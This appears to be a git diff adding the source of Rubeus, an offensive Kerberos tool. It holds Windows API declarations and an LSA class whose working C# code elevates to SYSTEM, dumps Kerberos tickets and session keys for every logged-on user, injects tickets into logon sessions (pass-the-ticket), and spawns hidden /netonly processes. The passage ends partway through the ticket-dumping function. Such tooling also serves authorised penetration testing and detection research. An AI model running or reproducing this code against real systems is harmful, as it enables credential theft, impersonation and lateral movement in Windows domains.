+ [DllImport("advapi32.dll", SetLastError = true)]
+ public static extern uint LsaNtStatusToWinError(
+ uint status
+ );
+
+ [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
+ public static extern uint LsaFreeMemory(
+ IntPtr buffer
+ );
+
+ [DllImport("kernel32.dll", EntryPoint = "CopyMemory", SetLastError = false)]
+ public static extern void CopyMemory(
+ IntPtr dest,
+ IntPtr src,
+ uint count
+ );
+
+ [DllImport("secur32.dll", SetLastError = false)]
+ public static extern int LsaCallAuthenticationPackage(
+ IntPtr LsaHandle,
+ int AuthenticationPackage,
+ IntPtr ProtocolSubmitBuffer,
+ int SubmitBufferLength,
+ out IntPtr ProtocolReturnBuffer,
+ out int ReturnBufferLength,
+ out int ProtocolStatus
+ );
+
+ [DllImport("secur32.dll", SetLastError = false)]
+ public static extern int LsaDeregisterLogonProcess(
+ [In] IntPtr LsaHandle
+ );
+
+ [DllImport("secur32.dll", SetLastError = true)]
+ public static extern int LsaRegisterLogonProcess(
+ LSA_STRING_IN LogonProcessName,
+ out IntPtr LsaHandle,
+ out ulong SecurityMode
+ );
+
+ // for GetSystem()
+ [DllImport("advapi32.dll", SetLastError = true)]
+ [return: MarshalAs(UnmanagedType.Bool)]
+ public static extern bool OpenProcessToken(
+ IntPtr ProcessHandle,
+ UInt32 DesiredAccess,
+ out IntPtr TokenHandle);
+
+ [DllImport("advapi32.dll")]
+ public static extern bool DuplicateToken(
+ IntPtr ExistingTokenHandle,
+ int SECURITY_IMPERSONATION_LEVEL,
+ ref IntPtr DuplicateTokenHandle);
+
+ [DllImport("advapi32.dll", SetLastError = true)]
+ public static extern bool ImpersonateLoggedOnUser(
+ IntPtr hToken);
+
+ [DllImport("advapi32.dll", SetLastError = true)]
+ public static extern bool RevertToSelf();
+
+ //[DllImport("advapi32.dll", SetLastError = true)]
+ //public static extern bool LogonUser(
+ // string pszUsername,
+ // string pszDomain,
+ // string pszPassword,
+ // int dwLogonType,
+ // int dwLogonProvider,
+ // ref IntPtr phToken);
+
+ [DllImport("kernel32.dll")]
+ public static extern uint GetLastError();
+
+ [DllImport("advapi32.dll", SetLastError = true)]
+ public static extern bool GetTokenInformation(
+ IntPtr TokenHandle,
+ TOKEN_INFORMATION_CLASS TokenInformationClass,
+ IntPtr TokenInformation,
+ int TokenInformationLength,
+ out int ReturnLength);
+
+ //[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
+ //public static extern bool CreateProcessAsUser(
+ // IntPtr hToken,
+ // string lpApplicationName,
+ // string lpCommandLine,
+ // ref SECURITY_ATTRIBUTES lpProcessAttributes,
+ // ref SECURITY_ATTRIBUTES lpThreadAttributes,
+ // bool bInheritHandles,
+ // uint dwCreationFlags,
+ // IntPtr lpEnvironment,
+ // string lpCurrentDirectory,
+ // ref STARTUPINFO lpStartupInfo,
+ // out PROCESS_INFORMATION lpProcessInformation);
+
+ [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
+ public static extern bool CreateProcessWithLogonW(
+ String userName,
+ String domain,
+ String password,
+ UInt32 logonFlags,
+ String applicationName,
+ String commandLine,
+ UInt32 creationFlags,
+ UInt32 environment,
+ String currentDirectory,
+ ref STARTUPINFO startupInfo,
+ out PROCESS_INFORMATION processInformation);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ [return: MarshalAs(UnmanagedType.Bool)]
+ public static extern bool CloseHandle(
+ IntPtr hObject
+ );
+
+ [DllImport("Secur32.dll", SetLastError = false)]
+ public static extern uint LsaEnumerateLogonSessions(
+ out UInt64 LogonSessionCount,
+ out IntPtr LogonSessionList
+ );
+
+ [DllImport("Secur32.dll", SetLastError = false)]
+ public static extern uint LsaGetLogonSessionData(
+ IntPtr luid,
+ out IntPtr ppLogonSessionData
+ );
+
+ [DllImport("secur32.dll", SetLastError = false)]
+ public static extern uint LsaFreeReturnBuffer(
+ IntPtr buffer
+ );
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/LSA.cs b/Rubeus/lib/LSA.cs
new file mode 100755
index 00000000..4819442c
--- /dev/null
+++ b/Rubeus/lib/LSA.cs
@@ -0,0 +1,1132 @@
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Runtime.InteropServices;
+using System.Security.Principal;
+using System.Text.RegularExpressions;
+
+namespace Rubeus
+{
+ public class LSA
+ {
+ public static IntPtr LsaRegisterLogonProcessHelper()
+ {
+ // helper that establishes a connection to the LSA server and verifies that the caller is a logon application
+ // used for Kerberos ticket enumeration
+
+ string logonProcessName = "User32LogonProcesss";
+ Interop.LSA_STRING_IN LSAString;
+ IntPtr lsaHandle = IntPtr.Zero;
+ UInt64 securityMode = 0;
+
+ LSAString.Length = (ushort)logonProcessName.Length;
+ LSAString.MaximumLength = (ushort)(logonProcessName.Length + 1);
+ LSAString.Buffer = logonProcessName;
+
+ int ret = Interop.LsaRegisterLogonProcess(LSAString, out lsaHandle, out securityMode);
+
+ return lsaHandle;
+ }
+
+ public static uint CreateProcessNetOnly(string commandLine, bool show = false)
+ {
+ // creates a hidden process with random /netonly credentials,
+ // displayng the process ID and LUID, and returning the LUID
+ // Note: the LUID can be used with the "ptt" action
+
+ Console.WriteLine("\r\n[*] Action: Create Process (/netonly)\r\n");
+
+ Interop.PROCESS_INFORMATION pi;
+ Interop.STARTUPINFO si = new Interop.STARTUPINFO();
+ si.cb = Marshal.SizeOf(si);
+ if (!show)
+ {
+ // hide the window
+ si.wShowWindow = 0;
+ si.dwFlags = 0x00000001;
+ }
+ Console.WriteLine("[*] Showing process : {0}", show);
+ uint luid = 0;
+
+ // 0x00000002 == LOGON_NETCREDENTIALS_ONLY
+ if (!Interop.CreateProcessWithLogonW(Helpers.RandomString(8), Helpers.RandomString(8), Helpers.RandomString(8), 0x00000002, commandLine, String.Empty, 0, 0, null, ref si, out pi))
+ {
+ uint lastError = Interop.GetLastError();
+ Console.WriteLine("[X] CreateProcessWithLogonW error: {0}", lastError);
+ return 0;
+ }
+
+ Console.WriteLine("[+] Process : '{0}' successfully created with LOGON_TYPE = 9", commandLine);
+ Console.WriteLine("[+] ProcessID : {0}", pi.dwProcessId);
+
+ IntPtr hToken = IntPtr.Zero;
+ // TOKEN_QUERY == 0x0008
+ bool success = Interop.OpenProcessToken(pi.hProcess, 0x0008, out hToken);
+ if (!success)
+ {
+ uint lastError = Interop.GetLastError();
+ Console.WriteLine("[X] OpenProcessToken error: {0}", lastError);
+ return 0;
+ }
+
+ int TokenInfLength = 0;
+ bool Result;
+
+ // first call gets lenght of TokenInformation to get proper struct size
+ Result = Interop.GetTokenInformation(hToken, Interop.TOKEN_INFORMATION_CLASS.TokenStatistics, IntPtr.Zero, TokenInfLength, out TokenInfLength);
+
+ IntPtr TokenInformation = Marshal.AllocHGlobal(TokenInfLength);
+
+ // second call actually gets the information
+ Result = Interop.GetTokenInformation(hToken, Interop.TOKEN_INFORMATION_CLASS.TokenStatistics, TokenInformation, TokenInfLength, out TokenInfLength);
+
+ if (Result)
+ {
+ Interop.TOKEN_STATISTICS TokenStats = (Interop.TOKEN_STATISTICS)Marshal.PtrToStructure(TokenInformation, typeof(Interop.TOKEN_STATISTICS));
+ Interop.LUID authId = TokenStats.AuthenticationId;
+ Console.WriteLine("[+] LUID : {0}", authId.LowPart);
+ luid = authId.LowPart;
+ }
+
+ Marshal.FreeHGlobal(TokenInformation);
+ Interop.CloseHandle(hToken);
+
+ return luid;
+ }
+
+ public static void ImportTicket(byte[] ticket, uint targetLuid = 0)
+ {
+ Console.WriteLine("\r\n[*] Action: Import Ticket");
+
+ // straight from Vincent LE TOUX' work
+ // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2925-L2971
+
+ IntPtr LsaHandle = IntPtr.Zero;
+ int AuthenticationPackage;
+ int ntstatus, ProtocalStatus;
+
+ if(targetLuid != 0)
+ {
+ if(!Helpers.IsHighIntegrity())
+ {
+ Console.WriteLine("[X] You need to be in high integrity to apply a ticket to a different logon session");
+ return;
+ }
+ else
+ {
+ string currentName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
+ if (currentName == "NT AUTHORITY\\SYSTEM")
+ {
+ // if we're already SYSTEM, we have the proper privilegess to get a Handle to LSA with LsaRegisterLogonProcessHelper
+ LsaHandle = LsaRegisterLogonProcessHelper();
+ }
+ else
+ {
+ // elevated but not system, so gotta GetSystem() first
+ Helpers.GetSystem();
+ // should now have the proper privileges to get a Handle to LSA
+ LsaHandle = LsaRegisterLogonProcessHelper();
+ // we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token
+ Interop.RevertToSelf();
+ }
+ }
+ }
+ else
+ {
+ // otherwise use the unprivileged connection with LsaConnectUntrusted
+ ntstatus = Interop.LsaConnectUntrusted(out LsaHandle);
+ }
+
+ IntPtr inputBuffer = IntPtr.Zero;
+ IntPtr ProtocolReturnBuffer;
+ int ReturnBufferLength;
+ try
+ {
+ Interop.LSA_STRING_IN LSAString;
+ string Name = "kerberos";
+ LSAString.Length = (ushort)Name.Length;
+ LSAString.MaximumLength = (ushort)(Name.Length + 1);
+ LSAString.Buffer = Name;
+ ntstatus = Interop.LsaLookupAuthenticationPackage(LsaHandle, ref LSAString, out AuthenticationPackage);
+ if (ntstatus != 0)
+ {
+ uint winError = Interop.LsaNtStatusToWinError((uint)ntstatus);
+ Console.WriteLine("[X] Windows error running LsaLookupAuthenticationPackage: {0}", winError);
+ return;
+ }
+ Interop.KERB_SUBMIT_TKT_REQUEST request = new Interop.KERB_SUBMIT_TKT_REQUEST();
+ request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbSubmitTicketMessage;
+ request.KerbCredSize = ticket.Length;
+ request.KerbCredOffset = Marshal.SizeOf(typeof(Interop.KERB_SUBMIT_TKT_REQUEST));
+
+ if(targetLuid != 0)
+ {
+ Console.WriteLine("[*] Target LUID: 0x{0:x}", targetLuid);
+ Interop.LUID luid = new Interop.LUID();
+ luid.LowPart = targetLuid;
+ luid.HighPart = 0;
+ request.LogonId = luid;
+ }
+
+ int inputBufferSize = Marshal.SizeOf(typeof(Interop.KERB_SUBMIT_TKT_REQUEST)) + ticket.Length;
+ inputBuffer = Marshal.AllocHGlobal(inputBufferSize);
+ Marshal.StructureToPtr(request, inputBuffer, false);
+ Marshal.Copy(ticket, 0, new IntPtr(inputBuffer.ToInt64() + request.KerbCredOffset), ticket.Length);
+ ntstatus = Interop.LsaCallAuthenticationPackage(LsaHandle, AuthenticationPackage, inputBuffer, inputBufferSize, out ProtocolReturnBuffer, out ReturnBufferLength, out ProtocalStatus);
+ if (ntstatus != 0)
+ {
+ uint winError = Interop.LsaNtStatusToWinError((uint)ntstatus);
+ Console.WriteLine("[X] Windows error running LsaCallAuthenticationPackage: {0}", winError);
+ return;
+ }
+ if (ProtocalStatus != 0)
+ {
+ uint winError = Interop.LsaNtStatusToWinError((uint)ProtocalStatus);
+ Console.WriteLine("[X] Windows error running LsaCallAuthenticationPackage/ProtocalStatus: {0}", winError);
+ return;
+ }
+ Console.WriteLine("[+] Ticket successfully imported!");
+ }
+ finally
+ {
+ if (inputBuffer != IntPtr.Zero)
+ Marshal.FreeHGlobal(inputBuffer);
+ Interop.LsaDeregisterLogonProcess(LsaHandle);
+ }
+ }
+
+ public static void Purge(uint targetLuid = 0)
+ {
+ Console.WriteLine("\r\n[*] Action: Purge Tickets");
+
+ // straight from Vincent LE TOUX' work
+ // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2925-L2971
+
+ IntPtr LsaHandle = IntPtr.Zero;
+ int AuthenticationPackage;
+ int ntstatus, ProtocalStatus;
+
+ if (targetLuid != 0)
+ {
+ if (!Helpers.IsHighIntegrity())
+ {
+ Console.WriteLine("[X] You need to be in high integrity to purge tickets from a different logon session");
+ return;
+ }
+ else
+ {
+ string currentName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
+ if (currentName == "NT AUTHORITY\\SYSTEM")
+ {
+ // if we're already SYSTEM, we have the proper privilegess to get a Handle to LSA with LsaRegisterLogonProcessHelper
+ LsaHandle = LsaRegisterLogonProcessHelper();
+ }
+ else
+ {
+ // elevated but not system, so gotta GetSystem() first
+ Helpers.GetSystem();
+ // should now have the proper privileges to get a Handle to LSA
+ LsaHandle = LsaRegisterLogonProcessHelper();
+ // we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token
+ Interop.RevertToSelf();
+ }
+ }
+ }
+ else
+ {
+ // otherwise use the unprivileged connection with LsaConnectUntrusted
+ ntstatus = Interop.LsaConnectUntrusted(out LsaHandle);
+ }
+
+ IntPtr inputBuffer = IntPtr.Zero;
+ IntPtr ProtocolReturnBuffer;
+ int ReturnBufferLength;
+ try
+ {
+ Interop.LSA_STRING_IN LSAString;
+ string Name = "kerberos";
+ LSAString.Length = (ushort)Name.Length;
+ LSAString.MaximumLength = (ushort)(Name.Length + 1);
+ LSAString.Buffer = Name;
+ ntstatus = Interop.LsaLookupAuthenticationPackage(LsaHandle, ref LSAString, out AuthenticationPackage);
+ if (ntstatus != 0)
+ {
+ uint winError = Interop.LsaNtStatusToWinError((uint)ntstatus);
+ Console.WriteLine("[X] Windows error running LsaLookupAuthenticationPackage: {0}", winError);
+ return;
+ }
+
+ Interop.KERB_PURGE_TKT_CACHE_REQUEST request = new Interop.KERB_PURGE_TKT_CACHE_REQUEST();
+ request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbPurgeTicketCacheMessage;
+
+ if (targetLuid != 0)
+ {
+ Console.WriteLine("[*] Target LUID: 0x{0:x}", targetLuid);
+ Interop.LUID luid = new Interop.LUID();
+ luid.LowPart = targetLuid;
+ luid.HighPart = 0;
+ request.LogonId = luid;
+ }
+
+ //Interop.LSA_STRING_IN ServerName;
+ //ServerName.Length = 0;
+ //ServerName.MaximumLength = 0;
+ //ServerName.Buffer = null;
+
+ //Interop.LSA_STRING_IN RealmName;
+ //ServerName.Length = 0;
+ //ServerName.MaximumLength = 0;
+ //ServerName.Buffer = null;
+
+ int inputBufferSize = Marshal.SizeOf(typeof(Interop.KERB_PURGE_TKT_CACHE_REQUEST));
+ inputBuffer = Marshal.AllocHGlobal(inputBufferSize);
+ Marshal.StructureToPtr(request, inputBuffer, false);
+ ntstatus = Interop.LsaCallAuthenticationPackage(LsaHandle, AuthenticationPackage, inputBuffer, inputBufferSize, out ProtocolReturnBuffer, out ReturnBufferLength, out ProtocalStatus);
+ if (ntstatus != 0)
+ {
+ uint winError = Interop.LsaNtStatusToWinError((uint)ntstatus);
+ Console.WriteLine("[X] Windows error running LsaCallAuthenticationPackage: {0}", winError);
+ return;
+ }
+ if (ProtocalStatus != 0)
+ {
+ uint winError = Interop.LsaNtStatusToWinError((uint)ProtocalStatus);
+ Console.WriteLine("[X] Windows error running LsaCallAuthenticationPackage/ProtocalStatus: {0}", winError);
+ return;
+ }
+ Console.WriteLine("[+] Tickets successfully purged!");
+ }
+ finally
+ {
+ if (inputBuffer != IntPtr.Zero)
+ Marshal.FreeHGlobal(inputBuffer);
+ Interop.LsaDeregisterLogonProcess(LsaHandle);
+ }
+ }
+
+ public static void ListKerberosTicketData(uint targetLuid = 0, string targetService = "", bool monitor = false)
+ {
+ // lists
+ if (Helpers.IsHighIntegrity())
+ {
+ ListKerberosTicketDataAllUsers(targetLuid, targetService, monitor);
+ }
+ else
+ {
+ ListKerberosTicketDataCurrentUser(targetService);
+ }
+ }
+
+ public static void ListKerberosTicketDataAllUsers(uint targetLuid = 0, string targetService = "", bool monitor = false, bool harvest = false)
+ {
+ // extracts Kerberos ticket data for all users on the system (assuming elevation)
+
+ // first elevates to SYSTEM and uses LsaRegisterLogonProcessHelper connect to LSA
+ // then calls LsaCallAuthenticationPackage w/ a KerbQueryTicketCacheMessage message type to enumerate all cached tickets
+ // and finally uses LsaCallAuthenticationPackage w/ a KerbRetrieveEncodedTicketMessage message type
+ // to extract the Kerberos ticket data in .kirbi format (service tickets and TGTs)
+
+ // adapted partially from Vincent LE TOUX' work
+ // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950
+ // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/
+ // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1
+
+ if (!monitor)
+ {
+ Console.WriteLine("\r\n\r\n[*] Action: Dump Kerberos Ticket Data (All Users)\r\n");
+ }
+
+ if (targetLuid != 0)
+ {
+ Console.WriteLine("[*] Target LUID : 0x{0:x}", targetLuid);
+ }
+ if (!String.IsNullOrEmpty(targetService))
+ {
+ Console.WriteLine("[*] Target service : {0:x}", targetService);
+ if (!monitor)
+ {
+ Console.WriteLine();
+ }
+ }
+
+ int totalTicketCount = 0;
+ int extractedTicketCount = 0;
+ int retCode;
+ int authPack;
+ string name = "kerberos";
+ Interop.LSA_STRING_IN LSAString;
+ LSAString.Length = (ushort)name.Length;
+ LSAString.MaximumLength = (ushort)(name.Length + 1);
+ LSAString.Buffer = name;
+
+ IntPtr lsaHandle = LsaRegisterLogonProcessHelper();
+
+ // if the original call fails then it is likely we don't have SeTcbPrivilege
+ // to get SeTcbPrivilege we can Impersonate a NT AUTHORITY\SYSTEM Token
+ if (lsaHandle == IntPtr.Zero)
+ {
+ string currentName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
+ if (currentName == "NT AUTHORITY\\SYSTEM")
+ {
+ // if we're already SYSTEM, we have the proper privilegess to get a Handle to LSA with LsaRegisterLogonProcessHelper
+ lsaHandle = LsaRegisterLogonProcessHelper();
+ }
+ else
+ {
+ // elevated but not system, so gotta GetSystem() first
+ Helpers.GetSystem();
+ // should now have the proper privileges to get a Handle to LSA
+ lsaHandle = LsaRegisterLogonProcessHelper();
+ // we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token
+ Interop.RevertToSelf();
+ }
+ }
+
+ try
+ {
+ // obtains the unique identifier for the kerberos authentication package.
+ retCode = Interop.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack);
+
+ // first return all the logon sessions
+ DateTime systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); //win32 systemdate
+ UInt64 count;
+ IntPtr luidPtr = IntPtr.Zero;
+ IntPtr iter = luidPtr;
+
+ uint ret = Interop.LsaEnumerateLogonSessions(out count, out luidPtr); // get an array of pointers to LUIDs
+
+ for (ulong i = 0; i < count; i++)
+ {
+ IntPtr sessionData;
+ ret = Interop.LsaGetLogonSessionData(luidPtr, out sessionData);
+ Interop.SECURITY_LOGON_SESSION_DATA data = (Interop.SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(Interop.SECURITY_LOGON_SESSION_DATA));
+
+ // if we have a valid logon
+ if (data.PSiD != IntPtr.Zero)
+ {
+ // user session data
+ string username = Marshal.PtrToStringUni(data.Username.Buffer).Trim();
+ System.Security.Principal.SecurityIdentifier sid = new System.Security.Principal.SecurityIdentifier(data.PSiD);
+ string domain = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim();
+ string authpackage = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim();
+ Interop.SECURITY_LOGON_TYPE logonType = (Interop.SECURITY_LOGON_TYPE)data.LogonType;
+ DateTime logonTime = systime.AddTicks((long)data.LoginTime);
+ string logonServer = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim();
+ string dnsDomainName = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim();
+ string upn = Marshal.PtrToStringUni(data.Upn.Buffer).Trim();
+
+ IntPtr ticketsPointer = IntPtr.Zero;
+ DateTime sysTime = new DateTime(1601, 1, 1, 0, 0, 0, 0);
+
+ int returnBufferLength = 0;
+ int protocalStatus = 0;
+
+ Interop.KERB_QUERY_TKT_CACHE_REQUEST tQuery = new Interop.KERB_QUERY_TKT_CACHE_REQUEST();
+ Interop.KERB_QUERY_TKT_CACHE_RESPONSE tickets = new Interop.KERB_QUERY_TKT_CACHE_RESPONSE();
+ Interop.KERB_TICKET_CACHE_INFO ticket;
+
+ // input object for querying the ticket cache for a specific logon ID
+ Interop.LUID userLogonID = new Interop.LUID();
+ userLogonID.LowPart = data.LoginID.LowPart;
+ userLogonID.HighPart = 0;
+ tQuery.LogonId = userLogonID;
+
+ if ((targetLuid == 0) || (data.LoginID.LowPart == targetLuid))
+ {
+ tQuery.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage;
+
+ // query LSA, specifying we want the ticket cache
+ IntPtr tQueryPtr = Marshal.AllocHGlobal(Marshal.SizeOf(tQuery));
+ Marshal.StructureToPtr(tQuery, tQueryPtr, false);
+ retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, tQueryPtr, Marshal.SizeOf(tQuery), out ticketsPointer, out returnBufferLength, out protocalStatus);
+
+ if (ticketsPointer != IntPtr.Zero)
+ {
+ // parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure
+ tickets = (Interop.KERB_QUERY_TKT_CACHE_RESPONSE)Marshal.PtrToStructure((System.IntPtr)ticketsPointer, typeof(Interop.KERB_QUERY_TKT_CACHE_RESPONSE));
+ int count2 = tickets.CountOfTickets;
+
+ if (count2 != 0)
+ {
+ Console.WriteLine("\r\n UserName : {0}", username);
+ Console.WriteLine(" Domain : {0}", domain);
+ Console.WriteLine(" LogonId : {0}", data.LoginID.LowPart);
+ Console.WriteLine(" UserSID : {0}", sid.Value);
+ Console.WriteLine(" AuthenticationPackage : {0}", authpackage);
+ Console.WriteLine(" LogonType : {0}", logonType);
+ Console.WriteLine(" LogonTime : {0}", logonTime);
+ Console.WriteLine(" LogonServer : {0}", logonServer);
+ Console.WriteLine(" LogonServerDNSDomain : {0}", dnsDomainName);
+ Console.WriteLine(" UserPrincipalName : {0}", upn);
+ Console.WriteLine();
+ if (!monitor)
+ {
+ Console.WriteLine(" [*] Enumerated {0} ticket(s):\r\n", count2);
+ }
+ totalTicketCount += count2;
+
+ // get the size of the structures we're iterating over
+ Int32 dataSize = Marshal.SizeOf(typeof(Interop.KERB_TICKET_CACHE_INFO));
+
+ for (int j = 0; j < count2; j++)
+ {
+ // iterate through the result structures
+ IntPtr currTicketPtr = (IntPtr)(long)((ticketsPointer.ToInt64() + (int)(8 + j * dataSize)));
+
+ // parse the new ptr to the appropriate structure
+ ticket = (Interop.KERB_TICKET_CACHE_INFO)Marshal.PtrToStructure(currTicketPtr, typeof(Interop.KERB_TICKET_CACHE_INFO));
+
+ // extract the serverName and ticket flags
+ string serverName = Marshal.PtrToStringUni(ticket.ServerName.Buffer, ticket.ServerName.Length / 2);
+
+ if (String.IsNullOrEmpty(targetService) || (Regex.IsMatch(serverName, String.Format(@"^{0}/.*", targetService), RegexOptions.IgnoreCase)))
+ {
+ extractedTicketCount++;
+
+ // now we have to call LsaCallAuthenticationPackage() again with the specific server target
+ IntPtr responsePointer = IntPtr.Zero;
+ Interop.KERB_RETRIEVE_TKT_REQUEST request = new Interop.KERB_RETRIEVE_TKT_REQUEST();
+ Interop.KERB_RETRIEVE_TKT_RESPONSE response = new Interop.KERB_RETRIEVE_TKT_RESPONSE();
+
+ // signal that we want encoded .kirbi's returned
+ request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage;
+
+ // the specific logon session ID
+ request.LogonId = userLogonID;
+
+ request.TicketFlags = ticket.TicketFlags;
+ request.CacheOptions = 0x8; // KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED
+ request.EncryptionType = 0x0;
+ // the target ticket name we want the ticket for
+ Interop.UNICODE_STRING tName = new Interop.UNICODE_STRING(serverName);
+ request.TargetName = tName;
+
+ // the following is due to the wonky way LsaCallAuthenticationPackage wants the KERB_RETRIEVE_TKT_REQUEST
+ // for KerbRetrieveEncodedTicketMessages
+
+ // create a new unmanaged struct of size KERB_RETRIEVE_TKT_REQUEST + target name max len
+ int structSize = Marshal.SizeOf(typeof(Interop.KERB_RETRIEVE_TKT_REQUEST));
+ int newStructSize = structSize + tName.MaximumLength;
+ IntPtr unmanagedAddr = Marshal.AllocHGlobal(newStructSize);
+
+ // marshal the struct from a managed object to an unmanaged block of memory.
+ Marshal.StructureToPtr(request, unmanagedAddr, false);
+
+ // set tName pointer to end of KERB_RETRIEVE_TKT_REQUEST
+ IntPtr newTargetNameBuffPtr = (IntPtr)((long)(unmanagedAddr.ToInt64() + (long)structSize));
+
+ // copy unicode chars to the new location
+ Interop.CopyMemory(newTargetNameBuffPtr, tName.buffer, tName.MaximumLength);
+
+ // update the target name buffer ptr
+ Marshal.WriteIntPtr(unmanagedAddr, 24, newTargetNameBuffPtr);
+
+ // actually get the data
+ retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, unmanagedAddr, newStructSize, out responsePointer, out returnBufferLength, out protocalStatus);
+
+ // translate the LSA error (if any) to a Windows error
+ uint winError = Interop.LsaNtStatusToWinError((uint)protocalStatus);
+
+ if ((retCode == 0) && ((uint)winError == 0) && (returnBufferLength != 0))
+ {
+ // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure
+ response = (Interop.KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(Interop.KERB_RETRIEVE_TKT_RESPONSE));
+
+ Interop.KERB_EXTERNAL_NAME serviceNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(Interop.KERB_EXTERNAL_NAME));
+ string serviceName = Marshal.PtrToStringUni(serviceNameStruct.Names.Buffer, serviceNameStruct.Names.Length / 2).Trim();
+
+ string targetName = "";
+ if (response.Ticket.TargetName != IntPtr.Zero)
+ {
+ Interop.KERB_EXTERNAL_NAME targetNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(Interop.KERB_EXTERNAL_NAME));
+ targetName = Marshal.PtrToStringUni(targetNameStruct.Names.Buffer, targetNameStruct.Names.Length / 2).Trim();
+ }
+
+ Interop.KERB_EXTERNAL_NAME clientNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(Interop.KERB_EXTERNAL_NAME));
+ string clientName = Marshal.PtrToStringUni(clientNameStruct.Names.Buffer, clientNameStruct.Names.Length / 2).Trim();
+
+ string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim();
+ string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim();
+ string altTargetDomainName = Marshal.PtrToStringUni(response.Ticket.AltTargetDomainName.Buffer, response.Ticket.AltTargetDomainName.Length / 2).Trim();
+
+ // extract the session key
+ Interop.KERB_ETYPE sessionKeyType = (Interop.KERB_ETYPE)response.Ticket.SessionKey.KeyType;
+ Int32 sessionKeyLength = response.Ticket.SessionKey.Length;
+ byte[] sessionKey = new byte[sessionKeyLength];
+ Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength);
+ string base64SessionKey = Convert.ToBase64String(sessionKey);
+
+ DateTime keyExpirationTime = DateTime.FromFileTime(response.Ticket.KeyExpirationTime);
+ DateTime startTime = DateTime.FromFileTime(response.Ticket.StartTime);
+ DateTime endTime = DateTime.FromFileTime(response.Ticket.EndTime);
+ DateTime renewUntil = DateTime.FromFileTime(response.Ticket.RenewUntil);
+ Int64 timeSkew = response.Ticket.TimeSkew;
+ Int32 encodedTicketSize = response.Ticket.EncodedTicketSize;
+
+ string ticketFlags = ((Interop.TicketFlags)ticket.TicketFlags).ToString();
+
+ // extract the ticket and base64 encode it
+ byte[] encodedTicket = new byte[encodedTicketSize];
+ Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, encodedTicketSize);
+ string base64TGT = Convert.ToBase64String(encodedTicket);
+
+ Console.WriteLine(" ServiceName : {0}", serviceName);
+ Console.WriteLine(" TargetName : {0}", targetName);
+ Console.WriteLine(" ClientName : {0}", clientName);
+ Console.WriteLine(" DomainName : {0}", domainName);
+ Console.WriteLine(" TargetDomainName : {0}", targetDomainName);
+ Console.WriteLine(" AltTargetDomainName : {0}", altTargetDomainName);
+ Console.WriteLine(" SessionKeyType : {0}", sessionKeyType);
+ Console.WriteLine(" Base64SessionKey : {0}", base64SessionKey);
+ Console.WriteLine(" KeyExpirationTime : {0}", keyExpirationTime);
+ Console.WriteLine(" TicketFlags : {0}", ticketFlags);
+ Console.WriteLine(" StartTime : {0}", startTime);
+ Console.WriteLine(" EndTime : {0}", endTime);
+ Console.WriteLine(" RenewUntil : {0}", renewUntil);
+ Console.WriteLine(" TimeSkew : {0}", timeSkew);
+ Console.WriteLine(" EncodedTicketSize : {0}", encodedTicketSize);
+ Console.WriteLine(" Base64EncodedTicket :\r\n");
+ // display the TGT, columns of 100 chararacters
+ foreach (string line in Helpers.Split(base64TGT, 100))
+ {
+ Console.WriteLine(" {0}", line);
+ }
+ Console.WriteLine();
+ }
+ else
+ {
+ string errorMessage = new Win32Exception((int)winError).Message;
+ Console.WriteLine("\r\n [X] Error {0} calling LsaCallAuthenticationPackage() for target \"{1}\" : {2}", winError, serverName, errorMessage);
+ }
+
+ // clean up
+ Interop.LsaFreeReturnBuffer(responsePointer);
+ Marshal.FreeHGlobal(unmanagedAddr);
+ }
+ }
+ }
+ }
+
+ // cleanup
+ Interop.LsaFreeReturnBuffer(ticketsPointer);
